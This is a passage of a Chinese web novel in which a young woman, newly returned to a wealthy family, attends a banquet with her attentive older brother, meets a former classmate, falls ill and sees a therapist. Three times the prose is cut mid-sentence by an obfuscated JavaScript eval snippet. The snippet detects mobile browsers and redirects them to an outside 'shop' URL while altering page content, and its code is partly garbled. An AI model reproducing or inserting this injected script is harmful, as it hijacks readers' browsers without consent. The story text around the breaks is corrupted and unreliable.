“哈尼,你怎么把自己那么好的皮肤糟践成这样子,真是太令我痛心了,你的模样多漂亮,可你现在的模样完全不够体现你的美貌,我一定会好好还原你的美貌……” 小月是个雷厉风行的女子,一边说一边在隋遂的脸上强行操作,化妆时间大概三个小时,身后有同行的人给她做头发。 三个小时后,时间已经过了下午五点,小月的几个小助理带着衣服走进来交给她。 隋遂接过衣服就想直接穿,小月一脸不赞同地制止了她的行为,并且给她演示了化妆后的正确穿衣服方式。 隋遂觉得这一整天自己什么都没有做,但是比自己之前打一天的工还要更累一些。她之前是白天去饭店打工,下午下班之后还有精力和朋友一块去烧烤的人。 而现在她恨不得倒头就睡。 “宝宝,你现在可不能睡,在车里也一定要保持清醒哦,你该看看你现在的模样那个有多么漂亮!” 隋遂转头,瞅了一眼镜子里的自己——很陌生的样子,她有多久没有好好看过镜子里的自己,就对现在镜子里的这个人有多么陌生。 从她不化妆之后,她甚至洗脸之后都不会特意照镜子。 她没有长过痘,这是一件好事,脸颊两侧有些微雀斑。这是刚毕业找不到工作的时候去干发传单的活,被太阳连续晒了半个月,脸,脖子,胳膊,连穿着凉鞋的脚趾都变成了酱油色,等肤色终于在进厂三个月之后恢复得差不多,才发现脸上多了些雀斑。 为了遮住这些雀斑,她会铺很厚的一层粉。 劣质的粉扑会在她的表情剧烈波动时候颤颤巍巍从脸上掉落,隋遂不愿意回忆,从镜子中看到自己脸上十分轻薄的妆面,不能理解这么薄的妆容为什么需要三个小时之久。 但她不得不承认,这样的自己确实比之前自己化妆的样子看起来自然很多。 “很漂亮对不对?” 隋遂点头。 “所以宝宝上车的时候一定不能睡觉哦,会蹭花妆容的。” 隋遂再次点头。 坐上楼下已经在等的车,车内冷气开得很足,隋遂披着一件西装外套,转头看向车外。 距离举办宴会的地方很远,所以需要提前出门,司机开着车在公司停车场,很快隋逾上车。 “……” 她还以为隋逾会自己后面过去,没想到是两个人一块过去。 隋遂还是不能自如地和隋逾相处,隋逾明明浑身都散发着一股不愿意隋遂靠近的气息,可是莫名的,行动上却很关心隋遂,似乎她这个便宜妹妹有多么重要。 隋遂想不明白是为什么。 “你今天很漂亮。” “……”听到隋逾这算是夸奖的话语,隋遂愣神了半晌才开口,“谢谢。” 她身体已经进入疲惫状态,只是一直记得小月说的不能睡觉,所以一直强撑着。 隋逾的目光在她的脸上停留了半晌,喉结微滚,似乎于什么话想说,最后只是转过头,淡声吩咐前面的陈叔:“走吧。” 陈叔的目光在后视镜晃过,很快专心开车。 隋家这两个孩子之前他一直觉得天差地别,现在看起来又不是这样。本就十分相似的长相此刻更具体而深刻,两个人一个人靠着皮质座椅微微后仰,骨感分明又性感的喉结随着呼吸轻微滑动,面庞因为头扬起的动作,整个面部轮廓更加立体深邃。 他的手掌放在车座上,黑白分明,距离左手侧不到一米的位置是隋遂的手指,近在咫尺,却横亘了一条长达二十年的河流。隋遂的目光看着窗外,整个人贴着车门,眼睛半眯着。 车窗外是光怪陆离的城市,霓虹灯一束一束闪过,落在隋遂的脸上留下鲜艳的影。 不知道过去多久,隋逾睁开眼睛,看向身侧眼睛已经完全闭上的隋遂,那只和隋遂距离本就很近的手抬起,指尖轻轻挑起隋遂脸颊侧的几缕挡住她面颊的头发,手指微不可察地颤动。 他看得十分认真,因为一直没有时间和机会注意隋遂的长相,所以格外专注。 见到隋遂是夏天,他正好在酒店巡视,下楼时候她就坐在酒店大厅。 她穿得单薄,单薄到有些不得体,脸上的粉扑得很厚,和脖子的颜色有很明显的分层,眼妆是绿蓝渐变色,嘴唇上的口红很水润。坐在大理石装修宽敞亮堂的大厅,黑色的沙发更衬得她整个人孱弱,举止局促,孤零零的,像是一只被遗弃的小兽。 这就是他的亲妹妹。他当时想,一点都不像隋家的人。 隋逾轻轻抬眼,和正从后视镜偷瞄的陈叔的目光对上。不躲不避,隋逾收回目光,手指却更进一步,隋遂的眉头轻轻皱着,他的手指在她眉间轻轻点了点,等她蹙起的眉头松开,才收回了手,随即转头看向窗外。 车仍旧平缓行驶,一室安静。 到地点已经晚上过八点。 晚风略冷,空气中传递着潮湿的气味,昭示着一场秋雨即将到来。宁城是一个四季分明的城市,九月中已经度过初秋,天气有很明显的降温,整个季节十分多雨。 隋遂要自己打开车门,隋逾伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469799|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手挡住了她的动作,“别动。” 男人的手掌宽大温厚,隋遂手指温凉,如同海水与火焰相撞的瞬间,碰撞出看不清的模糊的雾气,隋遂不禁感到身体颤动。待转头,隋逾已经下车。 他走到她这边帮她打开车门,动作体贴细致,低声:“小心头。” 这番动作太奇怪,隋遂忍不住看向隋逾,不知道他这些行为到底是因为什么。 “进去吧。” 隋遂的手腕被隋逾牵过挽住他的手臂,两个人一起往宴会走去。 宴会已经开始,觥筹交错,衣香鬓影。到处都是帅男靓女,有不少当红明星在其中,隋遂不知道在这样的场合应该做什么,木讷地跟着隋逾,他去哪儿她跟上。 隋逾刚走进去,已经有不少人的目光聚焦在他的身上,紧接着就是看向他身边的隋遂,众多猜测。 最先上前的是蒋奕瞻。 “哟,可算是等来你了,我们可都是等了好久,还以为你今天不过来了。” 蒋奕瞻和隋逾是一块出国读书的,关系也是所有人里最好的。 几个人里面结婚最早的是江森和,孩子已经四岁了。他妻子模样十分艳丽,看起来十分高冷,两个人相携走过来。 江森和笑着说:“倒是难得见你过来。” 隋逾颔首,简单介绍:“我妹妹——隋遂。” 江森和:“你好,江森和,我爱人,迟见欢。” 隋遂打招呼:“你们好。” 迟见欢:“你好。” 最后过来的是赵循。 “妹妹好啊,我是赵循。”他是个温文尔雅的男人,站在隋逾身边有十分强烈的反差感,“隋逾的妹妹就是我们的妹妹,以后有什么需要尽管开口。只要是我们这几个能帮得上忙的,不用客气哈。” “你还真是一如既往。”蒋奕瞻吐槽,但也算是应下了,“蒋奕瞻,有什么需要也可以找我。” 这就是隋逾认可的好处了。他这个人就是一块绝佳的招牌,只要是想要在隋氏走绿灯道的人,没有人会不给隋遂面子。这也是一个昭告:不要觉得隋遂刚回隋家就可以随意对待。 几个人很快开始闲聊,隋遂百无聊赖地发呆。 迟见欢见状说:“妹妹和你们在一块太无聊了,宴会那边有小蛋糕,我带你过去。” 隋逾目光询问。 隋遂点头。 “不要走远,带着手机。” “好。” 隋遂跟着迟见欢走到摆放着不少蛋糕和甜点的餐桌边,两个人各自挑了一些甜点。 迟见欢笑着说:“隋逾很关心你。” 关心吗? 隋遂不知道怎么接她这句话,沉默着。 “你好像很不适应这个环境。” “是的。”隋遂说,“我感觉很尴尬。” “这我倒是没看出来,你很漂亮,站在隋逾身边不说话的样子我以为你只是腼腆。” 这个形容让隋遂感到别扭,她转而说:“你更漂亮。” 迟见欢略挑眉,没否认。 “我想你今天一定累得不轻,我带你去休息一会儿吧,那边有沙发。” “谢谢你。” “就当是你刚刚夸我漂亮的回礼了。” 一个很有风格的女人。 隋遂跟着她,看着她婀娜聘婷的背影想,小时候看电视剧中的漂亮的女主角,她梦想中长大就是这样的,就是面前的这个人的样子。落落大方,待人亲和。 隋遂几乎想不到面前的人的生活会有什么困难。 她走神,步子还随着迟见欢往前走,没有注意到迟见欢停下了步子,往前撞到了迟见欢的身体,恰有侍者端着酒杯经过,迟见欢的衣服被酒水打湿。 “对不起……” 迟见欢拍了拍她的手,指着不远处的黑色沙发说:“你先去那边等我,我去换套衣服就过来。” 隋遂:“我陪你一起去吧。” “没事,我很快就回来。” 迟见欢朝她笑了笑,表情自如,“你去那边休息一会儿,吃点东西。” 隋遂只好点点头,走到黑色丝绒沙发坐下,看着刚刚拿到手里的蛋糕顿时没有了胃口,明明来之前还觉得腹中饥饿,现在喉咙却像是被什么堵住了,完全没有吃东西的欲望。 隋遂盯着放在茶几上蛋糕,不明白为什么自己为什么总是会出现这样的意外。明明可以避免,却偏偏总是发生在自己身上的意外,给别人添了这么多麻烦。 “……嗨?林随?” 一道声音打断了她的恍惚。 隋遂抬起头,看向坐在自己对面的人——瘦削身形,脸上的笑容没有少年时期那么脆弱,带着些痞气,四目相对时候露出果然的眼神。 “果然是你,我还以为刚刚认错人了。” 他吹了个口哨,语气中满是对在这里碰到她的讶异和惊喜。 5. C05 你以为你是救世主吗 05/ 隋遂也看向他,嘴唇动了动,但都没有说出口。 “翟钦尧。”他说,“还记得我吧?初中的时候咱俩还坐过同桌。” 隋遂当然记得。她想她这辈子都不会忘记了,她以为再也不会有机会见到他,这个重遇的时间比想象中来得早很多。 只不过初中时候,两个人和现在截然相反。 隋遂初中没有现在这么沉默,虽然宿舍事件让她在班里和宿舍里和那些女生的关系不是很好,但她在新的宿舍很快交到了好朋友,也是这时候认识了翟钦尧。 翟钦尧那时候还不是现在的模样,他家里出了点意外,之前被他欺负过的人抓住这个机会狠狠报复回去,变本加厉到那时候的林随看不过去的程度。 同寝室的一个同学和他是小学同学。她只是听说过这个人,家里生意出了点问题,负债很多,每次学校里收校服之类的钱,他都是最迟交的那个人。 学校是滚动制班级,每学年按照成绩分一次班。 初二,她和翟钦尧分到了一个班。 这一年。 隋遂想,那是她生命中最开心的时间。 她很快就发现自己不是学习那块料,何况她也不是多么目光长远愿意吃苦的人,比起当下的刻苦学习,学习之外的诱惑总是格外的多。 翟钦尧学习也一般,两个人很快在这样的环境下产生了不属于普通同学,却属于少男少女的情感。 好像天地之间其他都不重要,只有他们之间的那些……充斥在她的脑海中,无法忘却。 隋遂现在想起来仍旧会有些恍惚,一切都像是只有在梦里才存在过一样。 后来,翟钦尧转学了,他们自此没有见过。也许那些过往的记忆真的只是一场梦也说不定。 “记得。”隋遂说。 “我……”翟钦尧还想说什么,很快被另一个人打断。 “终于找到你了,你怎么在这儿?”熟悉的声音,换上了白色西装衬得他身姿挺拔,站在翟钦尧身边,两个人差不多的身高,“这是……好好好,翟钦尧你背着我在这搭讪小姑娘是吧?” 翟钦尧冷哼了一声,“少说屁话,这我初中同学。” 这个人——隋遂看着他演戏的行为,不懂他到底想干什么。前两次见到他,他都是把自己包裹得严严实实的,像是有什么不可告人的秘密。 这次见面,隋遂能确定他一定是认识自己的——他到底在装什么? 好神经。 李浥尘顺水推舟道:“不介绍一下?” 翟钦尧:“林随。”随后指了指身边的人,“李浥尘。” “我的名字总有人不知道后两个字。”李浥尘说。 翟钦尧呵笑了声,打断了他后面的话,“伯父不是带你去认识那些人了吗?你过来找我可以?” “哎呀,只是认识一下能用多长时间,我现在又没接手家里的事情,混个脸熟就行了。”李浥尘十分自来熟地坐在了隋遂的身边,问:“你叫林随?哪个‘随’?” “随便的随。” “我现在改名了。” 两个声音同时出现,李浥尘愣了一下,很快笑着问:“你现在的名字呢?” 隋遂没有说话。 正好这时候迟见欢走了过来,见隋遂身边有两个男人,朝她眨了眨眼睛。 隋遂抢先一步开口:“这是我初中同学。”她介绍,“这是他朋友。” 迟见欢说:“你们好,迟见欢。” 迟家在宁城不算最显赫的那批,但也算有名,两个人给迟见欢打了招呼。 翟钦尧和迟见欢毕竟不熟,现在也不是怀念旧情的时间,他笑着问隋遂。 “我们加个好友吧,以后方便联系。” 他拿出手机,两个人互相扫了二维码,旁边的李浥尘同样拿出手机,二维码放在隋遂面前。隋遂抬头,和他视线对上一瞬间,他眼里的笑意有些狡黠,似乎是明白隋遂已经认出了自己。 扫过二维码,两个人没有过多停留,很快离开。 隋遂收起手机。 “你喜欢那个小子?” 迟见欢像是有一双能够洞悉一切的眼睛,看向隋遂的目光有几分揶揄。 隋遂矢口否认。 “没有。” “真的吗?” “……” “喜欢也没什么关系,这是很普通的情感,何况这是一件好事。” “好事吗?” “当然。” “就算受伤也会是好事吗?” “为什么你这么肯定自己会受伤呢?” “因为……”隋遂忽然像是清醒了,转头看向她,“可以请你不要把这件事情告诉他吗?” “他是谁?” “……隋总。” 迟见欢表情有几分惊讶,但很快收敛了自己的表情,笑着应下了这件事。 “怎么喊他隋总?” “不然喊什么?” “他是你哥哥。” “是吗?我不觉得。” “我和你意见不同。” 隋遂还想说什么,又觉得说什么都像是欲盖弥彰,最后只好闭上了嘴。 过了一会儿,隋逾朝两个人走过来。 “还适应吗?” 这话当然是问隋遂的。 隋遂嘴里含着刚吃进去的蛋糕,嚼了两下随便咽下去,说:“如果我说不适应,你会让我提前回去吗?” 隋逾眼里含着笑意,斩钉截铁地拒绝了她:“不行。” 隋遂不意外,继续低头吃东西。 迟见欢开玩笑:“怎么?交给我不放心?” 隋逾:“交给你怎么会不放心?她之前没有来过。” 迟见欢依旧是那个语气,像是玩笑,又似乎真的是这么想的:“你看得这么严,她来得次数再多也很难熟悉。” 隋逾顿了一下,失笑,朝她的方向敬了一杯,“我过去了。” 迟见欢意思了一下,等隋逾离开,转头跟隋遂说:“隋逾很少对人这么上心。” 说少都有些谦虚了,隋逾正式接手隋氏已经有两年时间,隋总有时在外都要看隋逾的意思。 隋遂抿唇:“也许是怕我给隋家丢人。” 她皱着眉头,不认可她的话。 迟见欢笑意盈盈地朝她眨了眨眼睛不再提点,有些事情,还是要自己发现才好,旁人说再多,都是徒劳。 隋遂问:“洗手间在哪儿?” 迟见欢:“我陪你过去。” 隋遂:“不用,我自己过去。” “好,从这边走过去,转弯,最里面有个小房间。” 隋遂点头。 隋遂走到洗手间,里面有人,隋遂站在门口百无聊赖地等着,又想起迟见欢说的话——隋逾很少对人这么上心吗? 那对这个从外面接回来,没有给家里带来一丝一毫好处,甚至闹出的动静可以说是耻辱来说的妹妹,上心也不是什么好事吧。 洗手间很快走出来了两个人,匆匆扫过隋遂的脸,隋遂没太注意,等两个人走得远了才恍惚发觉,刚刚走出来的那个女人好像是……郑芯媛? - …… 回程路上,隋遂一直靠着车窗发呆,目光聚焦在车窗上倒映着的隋逾的脸上,目光虚幻,仍旧沉浸在洗手间里看到的那一幕。 “回去好好休息。” 仍旧是隋逾打破了车内的沉默。 隋遂被突然从自己的想法中拽出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469800|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有听清楚隋逾到底说了什么,呐呐应道:“好。” 隋逾侧头,两个人的目光交汇,隋遂从来不知道自己是将情绪写在脸上的人,又或许是隋逾太敏锐,很快觉察到了她目光的变化。 即便是深夜,宁城仍旧靡丽耀眼。隋遂习惯性靠窗坐,和隋逾中间隔着一个影子的距离,霓虹灯闪耀着五彩的光芒,从车窗射进来,将两个人中间的隔阂消弭到模糊不清。 “有话想说?” “……”隋遂最终摇头。 “什么都可以问。” 隋遂还是摇头。 “你很害怕我?” “……”隋遂自认自己表现得已经足够明显,但是他这么问出来,似乎她对他本来不应该是这个态度,这难道不够奇怪吗? 她张了张口,最后还是什么都没有说出来。 隋逾看向她的目光含着深意,沉沉浮浮像是暗夜森林中的树叶被冷风吹动后的明暗交错。 隋遂自己都不知道,她现在表现得到底有多么明显。 只是见隋逾低下头,手指关节抵着额头,低低笑出了声。 “……” 隋遂抿着唇,继续将自己的目光转头看向了窗外。 隋逾:“今天在宴会上交到朋友了吗?” “……没有。” “不喜欢江夫人?” “江夫人?” “迟见欢,她丈夫是江森和。” “她人很好。”隋遂这么回答。 喜欢尚且谈不上,她对一个只是第一次见面的人很难产生喜欢这么激动的情绪。对其他人更谈不上认识,在这样的环境中交朋友吗?她只有完全的不自在,在陌生人面前,她很难表现得大方。 “还有什么事情值得你从上车之前就记挂着?” 隋遂忍不住再次看向他,这次他的眼里全是笑意,仿佛在他眼里她只是一个单纯的小姑娘,什么事情都藏不住,那些她想的事情,对他来说或许不过是些鸡毛蒜皮的小事,压根不值得他记挂。他的关心令她僵硬,他的轻视同样。 隋遂突然失去了之前的想法。 算了,和她又有什么关系。 隋遂回过头,车窗外已经是一片敞亮。车行驶到了地下车库,两个人坐上电梯。 银色镜面照着两个人的身影,男人身高腿长,气质成熟,站在她的身侧,似乎她整个人被他罩在怀中,隋遂产生一种两个人关系亲密的错觉,目光从电梯镜面挪开,盯着不断上升的电梯层数看。 “晚上回去早点休息。” “好。” “叮——” 电梯门打开了。 隋遂一只脚迈出去,肩膀被一只骨感分明的大手揽了一瞬,她回头,目光落在肩膀上,那只手很快移开。 “小随。”他先开口,目光定在她已经有些脱妆的脸颊上,十分青春的面孔,是他的妹妹,血脉相连,多么奇妙。隋逾从前从来不觉得血脉有多么重要,不管是父母还是当时的林随,他都没有太深的感触。 看到隋遂的那一刻却十分奇异地感受到了,这个人,就是他的亲人,一定有什么东西牵连在两个人的身上,这是一种难以言喻的感觉。隋逾一直认为自己是一个很理性的人,对于感觉这件事情从来持怀疑态度,如今却不得不承认。 这个世界上真的有这样奇妙的事情。 “……嗯。” “我是你哥哥,你不用害怕我,也不要对我感到疏离,有什么问题都可以告诉我。” 隋遂差点没听出来他喊的“小随”是在喊她,从来都没有人这么喊过她。非常诡异的感觉,又从诡异中,感受到了一丝温暖。 隋遂眨了眨眼睛,抿起嘴唇,没有回答。 那只大手揉了揉她的头发,“晚安。” 6. C06 你以为你是救世主吗 06/ 当天晚上隋遂开始发烧。 中途被嗓子和耳朵的干涩疼醒,嘴巴里全是苦涩的味道。起床在客厅翻找了半天没有找到感冒药,最后接了一杯热水喝完回到床上继续睡。 再次迷迷糊糊有意识,隐约听到了周围有说话的声音,具体说了什么没有听到,没有清醒,很快又睡过去了。 冬天的阳光携着稀薄的暖意,从窗户照进来,隋遂意识迷糊间伸手去够放在身边的手机,摸索着触碰到了柔软的,带着体温的存在,她猛然惊醒,往旁边挪了挪才坐起身。 隋逾正坐在床边的矮凳上,大约是睡着了,右手搁在床边,手指修长,手掌宽大。 没去公司上班,他身上穿的是一套休闲服,套头卫衣和一条米色长裤,头发也没有和平时一样正式抓起来,很柔顺地垂下,略长,遮住了他凌厉的眉骨。 没有男人深不见底的眼神,他坐在床边像是浑身的气势散去,居然有些温柔的模样。隋遂一时间没动作,目光盯着隋逾,意识已经飘得很远了。 他是什么时候来的?为什么坐在这里?之前听到的声音是他在说话? 她摸了摸额头,有些汗,温度降了下去,身体还是有些软绵绵的使不上劲。隋遂想从床上坐起来,动作放得很轻,脚还没接触到地面,抬头就对上了隋逾幽深的视线。 一瞬间被吓到,脚尖没有触碰到地面,几乎就要跌下床,隋逾眼疾手快将她的胳膊拉住,温热干燥的手掌与她微凉的体温毫无征兆地相撞,几乎来不及思索什么,她整个人再次躺在了床上。 四目相对,双方眼里都有错愕,沉默两秒,刚刚抓着她手臂的位置被凉意席卷,一只略微冰凉的手掌和她的额头轻触,又很快分开。 “退烧了。” 隋遂低着头,“嗯。” 她很不自在。 不管是隋逾今天过来照顾她,还是现在隋逾明显的关心,她都感到不自在。 在她的预想中,隋逾和曾夫人一样,知道她是隋家的人,但内心并不认可,生活上不缺她吃穿,但也不会对她有太多实质性的关照。这才是隋遂认为正常的状态。 现在是为什么?隋逾的照顾,比她想象中还要多。没有目的的关照,几乎让她感到害怕。 隋逾决定让她来市中心的公寓住的时候,隋遂以为,隋逾只是认为她在隋家让所有人都不高兴,所以随便找个房子安置她,只要她活着不惹麻烦就行。 现在似乎不是这样。 “去洗漱,我叫人送点吃的上来。” “嗯。” 隋逾刚刚没感觉到,现在站起身,半边腿都是针刺般的麻痛,稍缓了缓,若无其事从床边走开。 隋遂看着他走出去,又从床上爬起来去洗漱。 镜子里是一张苍白的,病态的面孔,脸颊两侧还有些小雀斑,不多,嘴边一圈牙膏泡沫,滑稽的样子,她看着镜子里的自己眨了眨眼睛。 “有点丑。” 她低声喃喃。 又眨了眨眼睛。 还是忍不住笑了。 虽然不知道隋逾到底为什么照顾她,但,可能,一点点可能,说不定他真的觉得她是他的亲人。 应该是这样吧?只有亲人才会这样,在生病的时候照顾对方,没有任何要求和代价。就只是,照顾而已。 从房间走出去,隋遂正在拆外卖的包装袋,她坐在餐桌前,伸手准备帮忙,被隋逾一只手打落。 “啪——”的一声,在房间内显得声音很大。 “……” 隋逾似乎也被自己的动作怔住,原本的动作停住,“Sorry。” “嗯。” 原本和谐的氛围被这个动作打散,隋遂坐在椅子上没有再动作。 “刚才……” 被隋遂打断:“没事。” 隋逾顿了下。 隋遂睁着黑白分明的眼睛,“你不是故意的。”隋逾看向她,再次四目相对,隋遂首先错开自己的目光。似乎认为这么说话有些不妥当,她又补充,“对吧?” 隋逾笑了,“对。” 相安无事吃过这顿饭,隋遂又开始犯困,隋逾收拾了垃圾,见此说:“你继续休息,我去公司一趟。” 隋遂躺倒床上,很快睡了过去。 - 不知道是不是因为这件事,隋逾之后经常会在下班早的时候喊她一起吃饭,知道她逃课,也只是无奈地叮嘱她认真上课,隋遂已经习惯了在他说的时候点头说“好好好”,回头还是我行我素。 和翟钦尧互通了联系方式后,翟钦尧好像忘记了她这个人,没有任何消息,倒是李浥尘发过一个“早上好”,她没有回,之后再没有其他消息。 又一周要去上课,成人本科还有周末课程,虽然对于现在的隋遂来说,生活已经没有了周末和周内的本质区别,她大部分时间还是待在家里,看一些没有营养的综艺,或者刷短视频也能消磨很久时间。 隋逾吃饭的时候不工作,偶尔询问她每天在房间里干什么,听到隋遂的回答平淡点头。 隋逾给她找了家政,每周打扫两次房子。吃饭都是点外卖,或者隋逾让家政买好菜,下班回来给她做饭吃。 隋逾会做饭,隋遂吃过一次,味道居然意外地好吃。 隋遂的表情毫不隐藏,隋逾见此发笑,“这么意外?” 隋遂没回应,隋逾就接着说:“我初中就在外读书,虽然有管家负责一切,但是偶尔还是需要自己动手。” “高中之后我跟家里说撤了管家,之后一直是我一个人搞定。” “不孤独吗?” “偶尔会。”隋逾说,“大部分时间都很忙,没有时间沉浸在这些情绪里。” 隋遂表情有些触动,好一会儿,隋逾以为她会说些什么来安慰他,或者因此产生一些表达欲说一些自己的情况,但最后,她也只是语气平平地吐出了一个字:“哦。” 隋逾想起之前跟杜余欢交流隋遂的情况,杜余欢说:“你有没有想过,她现在这么拧巴紧张,就是因为你们的关注太多了呢?她被迫到了另一个陌生且自己无法融入的环境中,这里的所有人都对她有很多期待,她明知道自己做不到那些,又无法让自己不在意这些评价和要求,只好假装不在意,搞砸一切。” 隋逾转而想起来,从隋遂搬到隋家之后,就没有听到过她和之前的朋友还有联系,平日里也不见她出门。 在一次吃饭后,隋逾给了她一张副卡,只说了一句话,“出去逛逛也好。” 隋遂没有出去逛街,依旧是老样子。 偶尔去学校,逃课,很少出门。 发现隋遂不会自己去逛之后,隋逾周末有时间带她去了一次度假村,还是和上次宴会上的几个朋友,后来出差带她去了一次京城,在国旗下给她拍了照片。这张照片现在是隋逾的屏保。 隋遂还是话不多,但已经没有了最初的抗拒。 人是不可能没有表达欲的。人类在发现自己能发出声音之后,就力图通过各种方式传达自己的情绪和心情,从声音,到文字,照片,视频…… 一个人长久不倾吐自己的心情,也许最后会选择一种极端的方式宣泄自己的表达欲。 隋逾找杜余欢,让他增加几次谈话。 杜余欢很为难,比起隋逾这个便宜哥哥的想法,他更尊重隋遂这个当事人的想法。 时间很快进入了冬天。到底没有什么大事发生,隋遂按部就班生活,日复一日的消磨和无力。 真是奇怪,从前她一个人从早到晚都要上班也不觉得累,如今明明什么事情都没有,她居然会觉得这么累,连她自己都想说自己是不是太矫情了。 整个秋天一共见了两次杜余欢,每次聊天一个小时,她不觉得看心理医生有什么作用,她也不觉得自己想法有什么问题,她只是一个普通人,她只是有太多的委屈和难堪需要发泄出来,又选了那么一个不体面的方式。 进入冬天再一次见杜余欢,她看心理医生已经四个月了。 这次聊天的最后,杜余欢对她说;“你知道阿尔弗雷德·阿德勒吗?” 隋遂:“谁?” “一个心理学家。” “……我看起来像是文化程度很高的样子吗?” 杜余欢忍不住笑出来,“你总是能一本正经说出一些很幽默的话。” “……”隋遂无言,“我没有在开玩笑的意思。” 杜余欢:“抱歉。” “没关系,我没有那么敏感。” 杜余欢仍旧笑着,“他提出了一个观点,要将自己的人生课题和别人的课题分离。或许你不应该把不是自己的问题归咎于自己身上,再因此产生痛苦或者愧疚或者怨恨等等情绪,被这些情绪困扰。” 隋遂:“可是我生活在这个世界上,我每天都会和不同的人相处,我很难不被别人影响去产生这些情绪,你不觉得这是在强人所难吗?” “或许很难,但是接受这点,你会心里好受一些。既然一切都改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469801|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了,最后人还是只能尝试接受这一切。” “听起来更像是一种自我安慰。”隋遂评价道。 “哇哦。”杜余欢惊异地挑眉,“你是这么认为吗?” “难道不是吗?” “这个理论能流传至今,说明有一部分人需要,人总是要活下去的,那些不开心的事情,要么忘记,要么释怀,不然就会像被鱼刺卡住一样,一辈子都如鲠在喉。” “可是我不能接受。” “当然,你有这个权利,我只是给你提意见。” 沉默了一会儿,隋遂问:“我很固执吗?” “每个人都有自己的选择和生活。” 隋遂抿唇,没有继续说话。 “如果一直不接受会怎么样?” 杜余欢缓缓道,“人长久生活在戾气中,比平静中的人更容易做出一些让自己后悔的事情。” 隋遂转头看向窗外,冬雪在窗外飘摇,窗户边开着一盏橘黄色灯,风吹着,倒像是在室内摇曳,纷纷扬扬一片,不知道什么时候才停。 “在你没有到隋家之前,你有过这些情绪吗?” “很多。” “你遇到这些情绪是怎么处理的?” “我不记得了。” “你认为你没有其他的办法能够消解这些情绪了吗?” “我不知道。” “你害怕自己最后还是让人失望吗?” “大概吧。” “你想逃离现在的一切吗?” “……” 隋遂沉默了。 逃离……现在的一切吗? 回到隋家已经有八个月的时间了,宁城入夏早,三月初被隋总发现,四月隋逾接她住进隋家,七月底从隋家搬出来,现在和她相处最多的人,只有隋逾。 隋遂没有回答出这个问题。 她不知道自己应该选择肯定还是否定,或许两者都有,两个选择都让她不安,她无法肯定,可选择否定,她又想起隋逾,他的关心不似作伪,而她,并没有想象中反感和抗拒。 “今天的聊天就到这里,隋小姐回去路上主意安全。” “好。” 隋遂从咨询室走出来。整个城市银装素裹,天昏沉沉的,明明才下午四点,却像是夜晚降临。她打开车门,才发现隋逾坐在里面。 “……”隋遂顿了一下才开口,“哥哥。” “嗯。”隋逾颔首,“快坐进来。” “最近怎么样?” “挺好的。” “给你带了礼物,一会儿给你。” “好……谢谢。” “不好奇是什么?” 隋遂侧了侧头,她今天穿了一件大红色的毛呢大衣,她的皮肤这段时间已经养得没有那么蜡黄,虽然也没有白到林珠那种天生就白的程度,但气色看起来不错,很健康,穿上红色的大衣已然多了几分悠闲雅致。 隋逾从她上车目光就落在她身上,等着她回答。 “是什么?” “这么敷衍,听起来一点都不期待。” “……”隋遂不解,“这也要在意吗?” 隋逾手握成拳在唇边轻咳了声,嘴角的笑意只增不减。 从那天宴会之后隋逾经常在公寓喊隋遂一块吃饭,两个人的关系比刚开始的僵硬轻松了许多。 过了一会儿,隋遂问:“你生病了吗?” 隋逾:“嗯,海城最近流感很严重,不幸中招了。” 隋遂哦了一声,“保重身体。” “嗯。” 车内静默的空气流动,隋遂不自觉地转过头,看隋逾靠着车背,眼神似乎没有什么焦点,过了一会儿,无意识地闭上了眼睛,一只手揉着太阳穴,英挺锋利的眉眼被疲惫席卷。 “吃过药了吗?” “嗯。” 她扭头,从来没有这么认真又渴望地看过一个人,几乎有些看痴了,颤动的手指垂在身侧,竭力控制住自己不要抬起手去触碰他的额头。 她怔怔想起隋逾关心她多么自然,天经地义一般,而她如此无措,居然不知道自己应该做什么才好。 坐在驾驶座的司机顺着后视镜朝后看,隋遂的视线始终定在隋逾身上,因为紧张和局促,表情有些僵硬,像是卡帧的动画片中的情节。 几个月时间,他一直跟在隋逾身边,此刻才猛然发觉,隋遂在隋家那浑身的戾气,早已在这段时间和隋逾的相处中飘散得一干二净,从她惶恐的表情中,担心与温柔展露无遗。 7. C07 你以为你是救世主吗 07/ 隋逾睁眼瞬间,和后视镜中陈叔的眼神对上,陈叔瞬间收回自己的眼神,余光仍旧不自觉注意着坐在后座的两个人。 “怎么了?” “没有……”隋遂说,“需要我照顾你吗?” 隋逾笑了。隋遂从他的笑容中看出了一些与众不同的味道,隋逾在她面前不至于像是外界传闻中那样,是一个完全不近人情,不苟言笑的人。甚至大多数时间,他都会笑,但都和现在完全不一样。 